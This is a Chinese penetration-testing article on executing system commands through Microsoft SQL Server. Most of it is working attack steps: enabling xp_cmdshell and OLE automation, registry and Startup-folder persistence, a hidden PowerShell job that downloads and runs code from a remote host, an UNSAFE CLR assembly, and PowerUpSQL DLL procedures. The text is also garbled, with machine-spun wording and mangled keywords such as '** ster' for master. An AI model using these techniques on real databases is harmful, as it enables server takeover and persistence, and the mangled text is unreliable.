0x00 介绍
渗透测试全过程中,大伙儿常常会遇到根据MSSQL来开展提权或执行系统命令之类的实际操作,通常大家常常会应用xp_cmdshell来开展执行系统命令,可是当xp_cmdshell不可以应用的情况下,大家有没有什么其他方法么?文中将详细介绍与共享一下自己学得的一些姿势。
0x01 常见的一些姿势1. XP_CMDSHELL
这一大家都较为了解了,根据xp_cmdshell来执行指令,可应用下列句子来执行:
exec ** ster..xp_cmdshell "whoami"默认设置状况下xp_cmdshell 是明令禁止的,如下图:
这个时候,可以应用下列指令开展打开:
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;关掉一样,仅仅将里面的后边的那一个”1”改为”0”就可以了。打开之后,则可执行系统命令
假如xp_cmdshell被删掉,可以试着提交xplog70.dll开展修复,恢复句子:
Exec ** ster.dbo.sp_addextendedproc 'xp_cmdshell','D:xplog70.dll'2. SP_OACREATE
当xp_cmdshell 删掉之后,可以应用SP_OACreate。最先要开启部件:
EXEC sp_configure 'show advanced options', 1; RECONFIGURE WITH OVERRIDE; EXEC sp_configure 'Ole Auto ** tion Procedures', 1; RECONFIGURE WITH OVERRIDE; EXEC sp_configure 'show advanced options', 0;以后应用下列句子执行指令:
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:windowssystem32cmd.exe /c whoami >d:temp1.txt'这儿要留意一下,此方法执行是无回显的
3. 自动运行
下列方法必须电脑重启。加上注册表文件:
xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWAREMicrosoftWindowscurrentversionun','exec','REG_SZ','ipconfig'备份数据加上开机启动项:
alter database test set RECOVERY FULL-- (把SQL设置成日志彻底恢复方式)create table cmd (a i ** ge)-- (新创建一个cmd表)backup database test to disk = 'D:tempcmd' WITH init --backup log test to disk = 'D:tempcmd1' WITH init -- (降低备分数据信息的尺寸)insert into cmd (a) values (0x0a406563686f206f66660d0a406563686f206f66660d0a40636d ** 2e657865202f63206563686f2077686f616d69203e ** 3a5c74656d705c332e7478740d0a40636d ** 2e657865202f63206563686f2077686f616d69203e ** 3a5c74656d705c332e7478740d0a400d0a40)-- (插进cmd指令)backup log test to disk = 'C:Documents and SettingsAll UsersMicrosoftWindowsStart MenuProgramsStartup1.bat'-- (备分日志到运行途径)drop table cmd --(删掉新创建的cmd表)alter database test set RECOVERY SIMPLE--(把SQL设置成日志简易恢复模式)检测发觉,Win10 MSSQL 2012导出来的批处理命令并不可以成功执行,很有可能与系统软件及数据库查询版本号有一定关联,通过率并不太高。
4. 根据沙盒游戏执行指令
打开沙盒游戏:
exec ** ster..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWAREMicrosoftJet4.0Engines','SandBoxMode','REG_DWORD',1随后运用jet.oledb执行指令:
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:windowssystem32iasdnary.mdb','select shell("whoami")')0x02 根据Agent Job执行指令此类方法适用网络服务器打开了MSSQL Agent Job服务,而且网络服务器中现阶段运作的客户账户具有充分的管理权限去建立并执行代理商工作的状况。运用编码如下所示:
USE msdb; EXEC dbo.sp_add_job @job_name = N'test_powershell_job1' ; EXEC sp_add_jobstep @job_name = N'test_powershell_job1', @step_name = N'test_powershell_name1', @subsystem = N'PowerShell', @com ** nd = N'powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring(''http://IP_OR_HOSTNAME/file''))"', @retry_attempts = 1, @retry_interval = 5 ;EXEC dbo.sp_add_jobserver @job_name = N'test_powershell_job1'; EXEC dbo.sp_start_job N'test_powershell_job1';有关此类方法早已有文章内容开展详细介绍,有感兴趣可以阅读文章一下。戳我
0x03 SQL Server CLR这类形式是近期才学得的,也是文中主要详细介绍的一种姿势。Microsoft SQL Server 如今具有与 Microsoft Windows .NET Framework 的公共性语言表达运作时 (CLR) 部件集成化的作用。CLR 为托管代码给予服务项目,例如跨语言表达集成化、编码浏览安全系数、目标生存率管理方法及其调节和剖析适用。针对 SQL Server 客户和应用开发工作人员而言,CLR 集成化代表着您现在可以应用一切 .NET Framework 语言表达(包含 Microsoft Visual Basic .NET 和 Microsoft Visual C#)撰写存储过程、触发器原理、客户界定种类、客户界定函数公式(标量函数和表值函数公式)及其客户理解的聚合函数。 要根据这种方法来执行指令,也有几个前提条件:
1、在SQL Server上可以开启CLR并可以建立自定存储过程2、SQL Server现阶段账户具备执行指令/编码所需求的管理权限建立CLR有这两种方法:方式一:应用DLL文件开展建立
CREATE ASSEMBLY AssemblyName from ‘DLLPath’方法二:应用文档16进制流开展建立
CREATE ASSEMBLY AssemblyName from 文档十六进制流针对做渗入的大家,自然是沒有文档是较好的方法了,因而,文中主要是详细介绍方法二。下列为详尽测试流程:1、安裝Visual Studio和SQL Server数据库查询,本次检测应用了VS2015跟SQL2012。2、建立一个新的SQL Server数据库查询新项目
3、设定新项目特性,总体目标服务平台改动为必须的总体目标服务平台,如SQL Server 2012; 将SQLCLR管理权限等级改动为UNSAFE;修改.Net 架构版本号给自己必须的版本号;语言转换C#。
4、鼠标右键新项目,挑选加上->新创建项,新建SQL CLR C# 存储过程
5、填写下列测试代码:
using System;using System.Data;using System.Data.SqlClient;using System.Data.SqlTypes;using Microsoft.SqlServer.Server;using System.Collections.Generic;using System.Text;using System.Threading.Tasks;public partial class StoredProcedures{ [Microsoft.SqlServer.Server.SqlProcedure] public static void SqlStoredProcedure1 () { // 在这里置放编码 System.Diagnostics.Process process = new System.Diagnostics.Process(); process.StartInfo.WindowStyle = System.Diagnostics.ProcessWindowStyle.Hidden; process.StartInfo.FileName = "cmd.exe"; process.StartInfo.Arguments = "/C whoami > d:temp1.txt"; process.Start(); }}6、填写编码之后开展编译程序,以后到编译程序文件目录下能够看见一个dacpac后缀名的文档。
7、双击鼠标此文档开展缓解压力,将解压出一个名叫mode.sql的文档。8、执行SQL文件中的下列句子
CREATE ASSEMBLY [ExecCode] AUTHORIZATION [dbo] FROM 0x4D5A[...snip...] WITH PERMISSION_SET = UNSAFE;以后执行:
CREATE PROCEDURE [dbo].[SqlStoredProcedure1]AS EXTERNAL NAME [ExecCode].[StoredProcedures].[SqlStoredProcedure1]9、打开网站数据库配备选择项clr enabled
EXEC sp_configure N'show advanced options', N'1' RECONFIGURE WITH OVERRIDE--打开clr enabled 选择项EXEC sp_configure N'clr enabled', N'1'RECONFIGURE WITH OVERRIDE --关闭所有服务器配置选项EXEC sp_configure N'show advanced options', N'0' RECONFIGURE WITH OVERRIDE--如果存在权限问题,执行下面一段脚本alter database [ ** ster] set TRUSTWORTHY onEXEC sp_changedbowner 'sa'10、执行命令:
EXEC [dbo].[SqlStoredProcedure1];如果没成功,可以换个数据库试试看。
11、删除存储过程
DROP PROCEDURE [dbo].[SqlStoredProcedure1];DROP ASSEMBLY ExecCode0x04 PowerUpSQL当然针对SQL Server的攻击,有一个强大的工具PowerUpSQL,里面也有很多针对MSSQL的攻击方式。下面介绍两种比较实用的方式。
1. SP_Addextendedproc
套件中的Create-SQLFileXpDll方法,在这里对其使用方式简单的进行一下介绍。创建DLL:
PS C:UsersEvi1cgDesktopPowerUpSQL> . .PowerUpSQL.ps1PS C:UsersEvi1cgDesktopPowerUpSQL> Create-SQLFileXpDll -OutFile D: empexec.dll -Com ** nd "echo Exec test > D: emptest.txt" -ExportName xp_testSQL Server 通过 sp_addextendedproc 调用DLL从而达到命令执行的效果。这里有两种方式导入:
//via local disksp_addextendedproc 'xp_test', 'D: empexec.dll'//via UNC path:sp_addextendedproc 'xp_test', 'servernamepathtofileexec.dll'导入之后的可调用xp_test来执行命令:
exec ** ster..xp_test;通过以下命令可以卸载:
sp_dropextendedproc 'xp_test'2. ** B Relay Attacks
针对这种方式,已经有文章总结了,这里就不多做介绍了,详细请看这里。
0x05 小结本文就通过SQL Server 执行系统命令进行了一下小结,当然方式可能不全,仅仅是自己知道的一些方法,还希望大牛别喷,如果您有什么更加新颖的方法,欢迎补充,希望本文对你有所帮助。
0x06 参考1.【技术分享】MSSQL注入时通过Agent Job执行命令的方法2.How to execute a DOS com ** nd when xp_cmdshell is disabled in SQL Server3.SQL Server CLR全功略之一---CLR介绍和配置4.Writing to an operating system file using the SQL Server SQLCLR5.T00LS - 低调求发展 - 潜心习安全
本文为 Evi1cg 原创稿件,授权嘶吼独家发布,未经许可禁止转载;如若转载,请联系嘶吼编辑: 如何通过SQL Server执行系统命令? 更多内容请关注“嘶吼专业版——Pro4hou”扫码咨询与免费使用
申请免费使用